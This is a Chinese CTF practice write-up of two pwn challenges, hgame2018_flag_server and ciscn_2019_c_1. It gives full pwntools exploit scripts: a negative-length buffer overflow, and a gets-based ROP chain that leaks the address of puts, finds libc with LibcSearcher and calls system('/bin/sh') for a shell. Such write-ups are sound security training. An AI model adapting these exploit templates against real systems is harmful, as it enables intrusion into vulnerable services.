pwn_practice1

  1. hgame2018_flag_server
    1. 开启docker
    2. 程序核心逻辑
    3. exp
    4. 结果
  2. ciscn_2019_c_1
    1. 核心程序
    2. 寻找rop
    3. 脚本:
    4. 结果:

pwn

hgame2018_flag_server

开启docker

docker run -v "$(pwd):/ctf/work" -i -t skysider/pwndocker /bin/bash

image-20230113115308826

程序核心逻辑

这里有个随机值,输入的值和随机值比较

image-20230113115524208

我准备用逆向的守法,来搞它,写了个cpp,结果运行多次结果都不一样

#include<time.h>
#include<stdio.h>
#include<random>

int main(void){
    unsigned  int v3 = time(0);
    printf("%d\n",v3);
    srand(v3);
    int v8 = rand();
    printf("%u",v8);
    return 1;
} 

giao~~~~~

然后我只能老老实实找漏洞了

先是发现可以读取字符串nameimage-20230113115909861

找到读取字符串的函数是自己编的image-20230113115811014

最后v10进行检验image-20230113115933550

这里看栈分布image-20230113120005292

直接在s1的下面,直接填充’A’*((0x50-0x10)+size(int))

exp

from pwn import *

io = remote('node4.buuoj.cn',28388)
# io = process('./flag_server')
io.sendlineafter('your username length: ',b'-1')
io.sendline(b'A'*0x44)
io.interactive()
io.close()

结果

image-20230113120243209


ciscn_2019_c_1

核心程序

image-20230113201822956

利用点:利用gets,去覆盖栈中的内容,利用rop链泄漏puts函数在内存中的地址,然后通过这个地址去找对应版本的libc,找到内存中system的地址和bin_sh字符串的地址,再利用一次rop链执行system函数即可

这里有一个模块叫LibcSearcher,它可以让使用者不用担心本地和远程的libc是否统一,它可以帮你去寻找正在执行的libc。非常好用

寻找rop

目的:寻找pop rdi ret;指令,因为该文件是64位,而64位文件采用寄存器存放参数,第一个参数存放的寄存器就是rdi

命令:

ROPgadget --binary ./ciscn_2019_c_1 --only 'pop|ret'

结果:

image-20230113202715207

脚本:

from pwn import *
from LibcSearcher import *

# io = process('./ciscn_2019_c_1')
io = remote("node4.buuoj.cn",26320)
elf = ELF('ciscn_2019_c_1')
#
encrypt_addr = elf.sym['encrypt']
puts_got = elf.got['puts']	# 用于打印puts的地址
puts_plt = elf.plt['puts']	# puts函数地址
rdi_ret = 0x400c83
                                            # puts函数的参数		puts函数的地址	puts函数执行完的返回地址,用于下一次的shellcode
payload1 = b'A' * 0x50 + p64(0) + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(encrypt_addr)

io.sendlineafter(b'Input your choice!',b'1')
io.sendlineafter(b'Input your Plaintext to be encrypted',payload1)
io.recvuntil(b'Ciphertext\n')
io.recvuntil(b'\n')
# 拿到puts在内存中的地址
puts_addr = u64(io.recvline().strip().ljust(8,b'\0'))
print('addr:',hex(puts_addr))

# 找内存libc的地址
libc = LibcSearcher('puts',puts_addr)

addr_base = puts_addr - libc.dump("puts")
print('libc',addr_base)
sys_addr = libc.dump('system') + addr_base
binsh_addr = libc.dump('str_bin_sh') + addr_base

payload2 = b'A' * 0x50 + p64(0) + p64(rdi_ret) + p64(binsh_addr) + p64(sys_addr) + p64(encrypt_addr)

io.sendlineafter(b'Input your Plaintext to be encrypted',payload2)
io.interactive()

结果:

image-20230113203306010


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 jaytp@qq.com

×

喜欢就点赞,疼爱就打赏